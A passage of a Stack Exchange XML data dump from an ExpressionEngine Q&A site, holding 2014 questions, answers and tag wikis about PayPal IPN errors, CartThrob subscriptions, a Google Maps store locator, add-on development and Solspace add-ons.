  <row Id="20357" PostTypeId="1" CreationDate="2014-03-17T08:21:23.870" Score="1" ViewCount="103" Body="&lt;p&gt;I created a function in ee module to handle Paypal IPN as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ipn_paypal(){&#xA;    include_once(&quot;libraries/Paypal_lib.php&quot;);&#xA;&#xA;    $objPaypal = new Paypal_Lib();&#xA;    $objPaypal-&amp;gt;process_order();        &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where process_order function is written in a separate file inside libraries as &quot;Paypal_lib.php&quot;. Inside this library file the function is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function process_order() {&#xA;    if ($this-&amp;gt;validate_ipn()) {&#xA;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But Paypal gets a 403 error when the following ACT is called:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://domaim.com/?ACT=54&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I even tried creating an ee template and calling the IPN function inside template,  but still Paypal sees a 403 error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Strange thing is that when I call the same ACT URL from browser it runs fine. Seems when Paypal sends a POST to the ACT URL, some issue happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clues?&lt;/p&gt;&#xA;" OwnerUserId="887" LastEditorUserId="197" LastEditDate="2014-03-17T12:50:28.587" LastActivityDate="2014-03-17T12:50:28.587" Title="ACT ID gives 403 from Paypal IPN" Tags="|ee2|add-on-development|paypal|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20358" PostTypeId="1" CreationDate="2014-03-17T14:56:23.630" Score="2" ViewCount="102" Body="&lt;p&gt;Will I be able to use CartThrob Subscriptions with Stripe checkout in Europe?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in general:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do CT-subscriptions have a method of preventing access to content created by members, whose subscription expires? More specifically, I need to hide member profiles (zoo_visitor entries) once their plan is no longer paid for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I have already purchased Membrr and - while the addon is okay - their support is actually non-existant, so please don't suggest this! :)&lt;/p&gt;&#xA;" OwnerUserId="2855" LastActivityDate="2018-07-02T13:47:28.110" Title="Using CartThrob Subscriptions with Stripe checkout - Content Restrictions" Tags="|cartthrob|subscriptions|stripe|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20359" PostTypeId="1" CreationDate="2014-03-17T15:23:40.620" Score="1" ViewCount="614" Body="&lt;p&gt;first use of the Google Maps add-on for EE here so pardon any ignorance on my part.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to set up a pretty standard store locator. I'm using this &lt;a href=&quot;https://objectivehtml.com/google-maps/examples/search&quot; rel=&quot;nofollow&quot;&gt;Sample Store Locator Code&lt;/a&gt; and tweaking with my field names (see below).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;{address_geocoded} is the field set to store the return from Google.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm getting errors along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;‘address_geocoded’ is not valid post variable.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Firefox and Safari generate the error right away on template load. Chrome loads the form then errors after I enter my current location and submit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idears?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;&#xA;    {exp:gmap:search&#xA;        channel=&quot;retailers&quot;&#xA;        latitude_field=&quot;address_lat&quot;&#xA;        longitude_field=&quot;address_long&quot;&#xA;        geocode_field=&quot;address_geocoded&quot;&#xA;        distance_field=&quot;distance_max&quot;&#xA;        cache_post=&quot;false&quot;&#xA;        return=&quot;/locations/test2#demo&quot;}&#xA;&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;!-- &amp;lt;li&amp;gt;&#xA;                &amp;lt;label for=&quot;title&quot;&amp;gt;Title&amp;lt;/label&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;title_like&quot; id=&quot;title&quot; value=&quot;&quot; /&amp;gt;&#xA;            &amp;lt;/li&amp;gt; --&amp;gt;&#xA;            &amp;lt;li&amp;gt;&#xA;                &amp;lt;label for=&quot;location&quot;&amp;gt;Location&amp;lt;/label&amp;gt;&#xA;                &amp;lt;input name=&quot;location&quot; id=&quot;location&quot; value=&quot;{if post:location}{post:location}{/if}&quot; type=&quot;text&quot;&amp;gt;&#xA;                {if error:location}&amp;lt;p class=&quot;error&quot;&amp;gt;{error:location}&amp;lt;/p&amp;gt;{/if}&#xA;            &amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&#xA;                &amp;lt;label for=&quot;location&quot;&amp;gt;Distance&amp;lt;/label&amp;gt;&#xA;                &amp;lt;select name=&quot;distance_max&quot;&amp;gt;&#xA;                    &amp;lt;option value=&quot;&quot; &amp;amp;#123;if=&quot;&quot; !distance_max=&quot;&quot; ||=&quot;&quot; distance_max=&quot;=&quot; &quot;&quot;}selected=&quot;selected&quot; &amp;amp;#123;=&quot;&quot; if}=&quot;&quot;&amp;gt;Any&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;5&quot; &amp;amp;#123;if=&quot;&quot; distance_max=&quot;=&quot; 5}selected=&quot;selected&quot; &amp;amp;#123;=&quot;&quot; if}=&quot;&quot;&amp;gt;5&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;10&quot; &amp;amp;#123;if=&quot;&quot; distance_max=&quot;=&quot; 10}selected=&quot;selected&quot; &amp;amp;#123;=&quot;&quot; if}=&quot;&quot;&amp;gt;10&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;20&quot; &amp;amp;#123;if=&quot;&quot; distance_max=&quot;=&quot; 20}selected=&quot;selected&quot; &amp;amp;#123;=&quot;&quot; if}=&quot;&quot;&amp;gt;20&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;50&quot; &amp;amp;#123;if=&quot;&quot; distance_max=&quot;=&quot; 50}selected=&quot;selected&quot; &amp;amp;#123;=&quot;&quot; if}=&quot;&quot;&amp;gt;50&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;100&quot; &amp;amp;#123;if=&quot;&quot; distance_max=&quot;=&quot; 100}selected=&quot;selected&quot; &amp;amp;#123;=&quot;&quot; if}=&quot;&quot;&amp;gt;100&amp;lt;/option&amp;gt;&#xA;                &amp;lt;/select&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;&#xA;            &amp;lt;li&amp;gt;&#xA;                &amp;lt;button type=&quot;submit&quot;&amp;gt;Search&amp;lt;/button&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;       &#xA;&#xA;    {/exp:gmap:search}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div&amp;gt;&#xA;&#xA;    {exp:gmap:init id=&quot;map&quot; class=&quot;gmap&quot; style=&quot;width:100%;height:200px&quot;}&#xA;&#xA;    {exp:gmap:results order_by=&quot;distance&quot; sort=&quot;asc&quot; parse=&quot;inward&quot;}&#xA;&#xA;        {if has_searched}&#xA;            &amp;lt;ul&amp;gt;&#xA;            {results}&#xA;                &amp;lt;li&amp;gt;{title} - {distance}&amp;lt;/li&amp;gt;&#xA;            {/results}&#xA;            &amp;lt;/ul&amp;gt;&#xA;&#xA;            {results}                   &#xA;                {exp:gmap:marker id=&quot;map&quot; latitude=&quot;{address_lat}&quot; longitude=&quot;{address_long}&quot;}&#xA;            {/results}&#xA;&#xA;        {if:else}&#xA;            {exp:channel:entries channel=&quot;retailers&quot; dynamic=&quot;no&quot; disable=&quot;member_data|categories|category_fields|pagination&quot; parse=&quot;inward&quot;}&#xA;&#xA;                {location_gmap id=&quot;map&quot;}&#xA;&#xA;            {/exp:channel:entries}&#xA;        {/if}&#xA;&#xA;        {if absolute_count == 1}&#xA;        &amp;lt;p&amp;gt;&amp;lt;em&amp;gt;Hint: Try searching for 'Hoosier National Forest' at a distance of 20 miles.&amp;lt;/em&amp;gt;&amp;lt;/p&amp;gt;&#xA;        {/if}&#xA;&#xA;        {if no_results}&#xA;&#xA;            &amp;lt;p&amp;gt;No results found&amp;lt;/p&amp;gt;&#xA;&#xA;            {exp:channel:entries channel=&quot;retailers&quot; dynamic=&quot;no&quot; disable=&quot;member_data|categories|category_fields|pagination&quot; parse=&quot;inward&quot;}&#xA;&#xA;                {location_gmap id=&quot;map&quot;}&#xA;&#xA;            {/exp:channel:entries}&#xA;&#xA;        {/if}&#xA;&#xA;    {/exp:gmap:results}&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="651" LastActivityDate="2014-11-13T02:59:02.360" Title="Store Locator with Google Maps for ExpressionEngine" Tags="|google-maps-for-ee|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20360" PostTypeId="2" ParentId="20359" CreationDate="2014-03-17T16:22:16.260" Score="1" Body="&lt;p&gt;as I think you must you must use &lt;code&gt;geocode_field&lt;/code&gt;  param value as a name for your HTML input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so in your code you change the &lt;code&gt;geocode_field&lt;/code&gt; from location to address_geocoded but you keep the HTML field name as it &quot;location&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so the code try to find $_post['address_geocoded'] and it not find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is a guess , because I don't work on Google Maps add-on for EE before, but I almost sure if you change the HTML input name to address_geocoded this will solve the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the address field is required but you can use more fields that will create an address string that will be geocoded as mention here :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.objectivehtml.com/google-maps/documentation/tag/search#geocode_field&quot; rel=&quot;nofollow&quot;&gt;https://www.objectivehtml.com/google-maps/documentation/tag/search#geocode_field&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so if you want to use another field like &quot;address_geocoded&quot; you must change your code to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:gmap:search&#xA;    channel=&quot;retailers&quot;&#xA;    latitude_field=&quot;address_lat&quot;&#xA;    longitude_field=&quot;address_long&quot;&#xA;    geocode_field=&quot;address|address_geocoded&quot;&#xA;    distance_field=&quot;distance_max&quot;&#xA;    cache_post=&quot;false&quot;&#xA;    return=&quot;/locations/test2#demo&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;notice &lt;strong&gt;geocode_field=&quot;address|address_geocoded&quot;&lt;/strong&gt; and you must add a new HTML field with address_geocoded name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this will do the trick&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regard's.&lt;/p&gt;&#xA;" OwnerUserId="2827" LastEditorUserId="2827" LastEditDate="2014-03-17T16:51:28.040" LastActivityDate="2014-03-17T16:51:28.040" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="20361" PostTypeId="1" CreationDate="2014-03-17T17:50:53.250" Score="3" ViewCount="75" Body="&lt;p&gt;I am a long time Drupal Developer, but it looks like I'm going to have to do some EE Dev work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question might become clear as time goes on, but wondering what experiences/best practices can be shared with the dev cycle. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Drupal, I am accustomed to developing on a local MAMP environment; create various templates, CSS, custom modules, Features (that allow database centric functionality to be committed to code), etc. The very few database tweaks that can't be relegated to code via Views or Features are hand manipulated with each &quot;push&quot; of updates and enhancements. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this path make sense with EE? My initial impression is that design and development is carried extensively in the database, AND that the database is not very portable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking forward to thoughts, input and experience.&lt;/p&gt;&#xA;" OwnerUserId="2856" LastActivityDate="2014-03-19T19:39:57.087" Title="Development Cycle" Tags="|module|development|themes|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20362" PostTypeId="2" ParentId="20361" CreationDate="2014-03-17T18:11:23.607" Score="3" Body="&lt;p&gt;I've very little experience with Drupal since 4.x many years ago, tried to get into it at 6.x and 7.x the last being 2 years ago. Ultimately went with ExpressionEngine 2 (had 1.6.x experience in the past for this). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said here are some thoughts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Templates - these can be flat files, you can use the administrative control panel to sync between the database and your files. However, as far as I know their settings, such as enabling PHP, have to be configured in the control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your content basically sits in channel entries. Channels are like the tables, entries are like rows. I don't think there's a generic flow for this between development and production sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add-ons that extend EE whether just in the control panel, for templating, or new field types, are a mix between flat files and being installed in the db (may be more than a simple flag of present/absent &amp;amp; enabled/disabled if they have their own settings or take advantage of hooks).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's nothing like drush for EE as far as I'm aware. So for both versioning needs and managing your setup, it's all up to you how you want to go about it. There is &lt;a href=&quot;http://devot-ee.com&quot; rel=&quot;nofollow&quot;&gt;devot-ee&lt;/a&gt; for add-ons and an add-ons like their monitor and dev demon's updater or something to that allow you to compare versions of your add-ons and simplify updating process (haven't used the latter).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;templates, frontend stuff, add-ons, and EE itself can all be managed in one regard, but as far as keeping database changes in sync goes I don't think there's even an unofficial community standard kinda thing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could stand to be corrected, though! &lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2014-03-17T18:11:23.607" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="20363" PostTypeId="1" AcceptedAnswerId="20366" CreationDate="2014-03-17T18:19:23.587" Score="0" ViewCount="61" Body="&lt;p&gt;I know you can easily load a random entry from a channel, but I wanted to know if the functionality exists in EE to randomly embed and load a template from a group?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any guidance on this.&lt;/p&gt;&#xA;" OwnerUserId="1654" LastActivityDate="2014-03-17T18:50:40.780" Title="Random template embedding?" Tags="|ee2|templates|embeds|random|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20364" PostTypeId="2" ParentId="20331" CreationDate="2014-03-17T18:20:07.553" Score="0" Body="&lt;p&gt;&lt;em&gt;-edited out-&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Going by &lt;a href=&quot;http://ellislab.com/forums/viewthread/92552/&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/92552/&lt;/a&gt; -&gt; &lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=332690#c24&quot; rel=&quot;nofollow&quot;&gt;https://bugzilla.mozilla.org/show_bug.cgi?id=332690#c24&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out your mimeTypes.rdf and let us know if there's anything funky there, all the variants there are in your mimes.php, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit 2::&lt;/p&gt;&#xA;&#xA;&lt;p&gt;woops, sorry didn't realize there was more to the original array, thought it was just 3 types in there.&lt;/p&gt;&#xA;" OwnerUserId="61" LastEditorUserId="61" LastEditDate="2014-03-17T22:12:56.490" LastActivityDate="2014-03-17T22:12:56.490" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20365" PostTypeId="2" ParentId="20327" CreationDate="2014-03-17T18:45:16.467" Score="4" Body="&lt;p&gt;After some guidance from Ahmad Saad below (thanks Ahmad!) I was able to get shipping (and total) calculated after shipping method change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First it will require to change template where shipping form field is located. That part is required due to default shipping value is not loaded when new cart created (in my case). My looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;tr&amp;gt;&#xA;&amp;lt;td&amp;gt;Shipping&amp;lt;/td&amp;gt;&#xA;&amp;lt;td colspan=&quot;2&quot;&amp;gt;&#xA;&amp;lt;select id=&quot;shipping_method&quot; name=&quot;shipping_method&quot;&amp;gt;&#xA;&amp;lt;option&amp;gt;Choose Shipping Method&amp;lt;/option&amp;gt;&#xA;{shipping_method_options}&#xA;&amp;lt;/select&amp;gt;&#xA;{if error:shipping_method}&amp;lt;p class=&quot;help-block&quot;&amp;gt;{error:shipping_method}&amp;lt;/p&amp;gt;{/if}&#xA;&amp;lt;/td&amp;gt;&#xA;&amp;lt;td style=&quot;text-align:right&quot;&amp;gt;&amp;lt;div id=&quot;order_shipping&quot;&amp;gt;{embed=&quot;cart/shipping&quot;}&amp;lt;/div&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and AJAX part handling JSON response:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function() {&#xA;    $(&quot;#shipping_method&quot;).change(function() {&#xA;&#xA;        var url = $(this.form).attr('action');&#xA;        var p_data = $(this.form).serialize();&#xA;&#xA;        $.ajax({&#xA;            url: url,&#xA;            type: &quot;POST&quot;,&#xA;            data: p_data,&#xA;            context: this,&#xA;            error: function () {},&#xA;            dataType: 'json',&#xA;            success : function (response) {&#xA;                 $(&quot;#order_shipping&quot;).html(response.order_shipping_total);&#xA;                 $(&quot;#order_total&quot;).html(response.order_total);               &#xA;            }&#xA;        });&#xA;&#xA;&#xA;        return false;       &#xA;&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No clue why guys from Expresso Store didn't included that in their code by default :\&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it will help other Expresso Store users.&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-03-17T18:45:16.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20366" PostTypeId="2" ParentId="20363" CreationDate="2014-03-17T18:50:40.780" Score="1" Body="&lt;p&gt;a quick thought come to my mind is to create templates with the same name and change the prefix number for e.g: test_1,test_2,test_3......,test_100&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then use this plugin to generate the random number:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/random-between&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/random-between&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed='test_{exp:ga_randombetween start=&quot;0&quot; stop=&quot;100&quot;}'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Regard's.&lt;/p&gt;&#xA;" OwnerUserId="2827" LastActivityDate="2014-03-17T18:50:40.780" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20367" PostTypeId="1" CreationDate="2014-03-17T19:57:11.887" Score="1" ViewCount="52" Body="&lt;p&gt;I am using zoo visitor to manage my member profiles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to allow members to edit their profiles but not let the edits post live until they are moderated/approved by the admin?&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2014-03-19T15:40:25.527" Title="Moderate members edits" Tags="|members|zoo-visitor|moderation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20368" PostTypeId="5" CreationDate="2014-03-17T20:01:45.253" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://solspace.com/facebook_connect/&quot; rel=&quot;nofollow&quot; title=&quot;Facebook Connect&quot;&gt;Facebook Connect&lt;/a&gt; is an ExpressionEngine add-on developed by &lt;a href=&quot;http://solspace.com/&quot; rel=&quot;nofollow&quot; title=&quot;Solspace&quot;&gt;Solspace&lt;/a&gt; that adds Facebook single sign-on capability to your EE site, as well as the ability to publish data from EE to one's Facebook profile. Official documentation can be found at &lt;a href=&quot;http://solspace.com/docs/facebook_connect&quot; rel=&quot;nofollow&quot; title=&quot;solspace.com/docs/facebook_connect&quot;&gt;solspace.com/docs/facebook_connect&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="884" LastEditorUserId="884" LastEditDate="2014-03-17T20:59:55.313" LastActivityDate="2014-03-17T20:59:55.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20369" PostTypeId="4" CreationDate="2014-03-17T20:01:45.253" Score="0" Body="An ExpressionEngine add-on that adds Facebook single sign-on capability to your EE site, as well as the ability to publish data from EE to one's Facebook profile." OwnerUserId="884" LastEditorUserId="884" LastEditDate="2014-03-17T20:59:44.170" LastActivityDate="2014-03-17T20:59:44.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20370" PostTypeId="5" CreationDate="2014-03-17T20:03:57.557" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://solspace.com/facebook_connect/&quot; rel=&quot;nofollow&quot; title=&quot;Importer&quot;&gt;Importer&lt;/a&gt; is an ExpressionEngine add-on developed by &lt;a href=&quot;http://solspace.com/&quot; rel=&quot;nofollow&quot; title=&quot;Solspace&quot;&gt;Solspace&lt;/a&gt; that lets you import multiple kinds of data from local or remote data sources into ExpressionEngine content. Official documentation can be found at &lt;a href=&quot;http://solspace.com/docs/importer/&quot; rel=&quot;nofollow&quot; title=&quot;solspace.com/docs/importer&quot;&gt;solspace.com/docs/importer&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="884" LastEditorUserId="884" LastEditDate="2014-03-17T20:59:38.060" LastActivityDate="2014-03-17T20:59:38.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20371" PostTypeId="4" CreationDate="2014-03-17T20:03:57.557" Score="0" Body="An ExpressionEngine add-on that lets you import multiple kinds of data from local or remote data sources into ExpressionEngine content." OwnerUserId="884" LastEditorUserId="884" LastEditDate="2014-03-17T20:59:50.203" LastActivityDate="2014-03-17T20:59:50.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20372" PostTypeId="5" CreationDate="2014-03-17T20:05:54.080" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://solspace.com/rating/&quot; rel=&quot;nofollow&quot; title=&quot;Rating&quot;&gt;Rating&lt;/a&gt; is an ExpressionEngine add-on developed by &lt;a href=&quot;http://solspace.com/&quot; rel=&quot;nofollow&quot; title=&quot;Solspace&quot;&gt;Solspace&lt;/a&gt; that allows you to accept ratings and reviews from your site visitors and members, as well as rank your entries by highest rating and display stats for entries. Official documentation can be found at &lt;a href=&quot;http://solspace.com/docs/rating/&quot; rel=&quot;nofollow&quot; title=&quot;solspace.com/docs/rating&quot;&gt;solspace.com/docs/rating&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="884" LastEditorUserId="884" LastEditDate="2014-03-17T21:00:03.640" LastActivityDate="2014-03-17T21:00:03.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20373" PostTypeId="4" CreationDate="2014-03-17T20:05:54.080" Score="0" Body="An ExpressionEngine add-on that allows you to accept ratings and reviews from your site visitors and members, as well as rank your entries by highest rating and display stats for entries." OwnerUserId="884" LastEditorUserId="884" LastEditDate="2014-03-17T21:00:01.123" LastActivityDate="2014-03-17T21:00:01.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20374" PostTypeId="5" CreationDate="2014-03-17T20:07:43.743" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://solspace.com/tracker/&quot; rel=&quot;nofollow&quot; title=&quot;Tracker&quot;&gt;Tracker&lt;/a&gt; is an ExpressionEngine add-on developed by &lt;a href=&quot;http://solspace.com/&quot; rel=&quot;nofollow&quot; title=&quot;Solspace&quot;&gt;Solspace&lt;/a&gt; that allows you to track and display views for entries, as well as ranked lists with most viewed entries. Official documentation can be found at &lt;a href=&quot;http://solspace.com/docs/tracker/&quot; rel=&quot;nofollow&quot; title=&quot;solspace.com/docs/tracker&quot;&gt;solspace.com/docs/tracker&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="884" LastEditorUserId="884" LastEditDate="2014-03-17T20:59:35.200" LastActivityDate="2014-03-17T20:59:35.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20375" PostTypeId="4" CreationDate="2014-03-17T20:07:43.743" Score="0" Body="An ExpressionEngine add-on that allows you to track and display views for entries, as well as ranked lists with most viewed entries." OwnerUserId="884" LastEditorUserId="884" LastEditDate="2014-03-17T20:59:58.920" LastActivityDate="2014-03-17T20:59:58.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20376" PostTypeId="5" CreationDate="2014-03-17T20:10:19.690" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://solspace.com/super_search/&quot; rel=&quot;nofollow&quot; title=&quot;Super Search&quot;&gt;Super Search&lt;/a&gt; is an ExpressionEngine add-on developed by &lt;a href=&quot;http://solspace.com/&quot; rel=&quot;nofollow&quot; title=&quot;Solspace&quot;&gt;Solspace&lt;/a&gt; that greatly improves search functionality in EE, and allows for powerful and flexible searching across channel entries. Official documentation can be found at &lt;a href=&quot;http://solspace.com/docs/super_search/&quot; rel=&quot;nofollow&quot; title=&quot;solspace.com/docs/super_search&quot;&gt;solspace.com/docs/super_search&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="884" LastEditorUserId="884" LastEditDate="2014-03-17T21:00:07.047" LastActivityDate="2014-03-17T21:00:07.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20377" PostTypeId="4" CreationDate="2014-03-17T20:10:19.690" Score="0" Body="An ExpressionEngine add-on that greatly improves search functionality in EE, and allows for powerful and flexible searching across channel entries." OwnerUserId="884" LastEditorUserId="884" LastEditDate="2014-03-17T20:59:52.687" LastActivityDate="2014-03-17T20:59:52.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20378" PostTypeId="1" AcceptedAnswerId="20596" CreationDate="2014-03-17T20:46:45.303" Score="0" ViewCount="32" Body="&lt;p&gt;The following code is a small part of a module I've written for a client project. Can anyone see why in some templates it outputs the newrelic code but in others it doesn't?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function newrelic_stop() &#xA;{&#xA;// Set defaults&#xA;$output = &quot;&quot;;&#xA;&#xA;if (extension_loaded('newrelic'))&#xA;{&#xA;    $output = newrelic_get_browser_timing_footer();&#xA;}&#xA;&#xA;// Show the output&#xA;return $output;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="308" LastActivityDate="2014-03-24T14:13:09.760" Title="Very basic addon method not outputting anything" Tags="|module|addons|newrelic|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20380" PostTypeId="2" ParentId="20359" CreationDate="2014-03-17T22:09:52.440" Score="0" Body="&lt;p&gt;I think my issue was mainly the browser caching the post variables, so when I would make a code change and reload the page the same error would generate.  I got past the post variable related errors with this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;div&amp;gt;&#xA;    {exp:gmap:search&#xA;        channel=&quot;retailers&quot;&#xA;        latitude_field=&quot;address_lat&quot;&#xA;        longitude_field=&quot;address_long&quot;&#xA;        geocode_field=&quot;address_map|address_geocoded&quot;&#xA;        distance_field=&quot;distance_max&quot;&#xA;        cache_post=&quot;false&quot;&#xA;        return=&quot;/locations/test2#demo&quot;}&#xA;&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;li&amp;gt;&#xA;                &amp;lt;label for=&quot;address_geocoded&quot;&amp;gt;Location&amp;lt;/label&amp;gt;&#xA;                &amp;lt;input name=&quot;address_geocoded&quot; id=&quot;address_geocoded&quot; value=&quot;{if post:address_geocoded}{post:address_geocoded}{/if}&quot; type=&quot;text&quot;&amp;gt;&#xA;                {if error:address_geocoded}&amp;lt;p class=&quot;error&quot;&amp;gt;{error:address_geocoded}&amp;lt;/p&amp;gt;{/if}&#xA;            &amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&#xA;                &amp;lt;label for=&quot;distance_max&quot;&amp;gt;Distance&amp;lt;/label&amp;gt;&#xA;                &amp;lt;select name=&quot;distance_max&quot;&amp;gt;&#xA;                    &amp;lt;option value=&quot;&quot; &amp;amp;#123;if=&quot;&quot; !distance_max=&quot;&quot; ||=&quot;&quot; distance_max=&quot;=&quot; &quot;&quot;}selected=&quot;selected&quot; &amp;amp;#123;=&quot;&quot; if}=&quot;&quot;&amp;gt;Any&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;5&quot; &amp;amp;#123;if=&quot;&quot; distance_max=&quot;=&quot; 5}selected=&quot;selected&quot; &amp;amp;#123;=&quot;&quot; 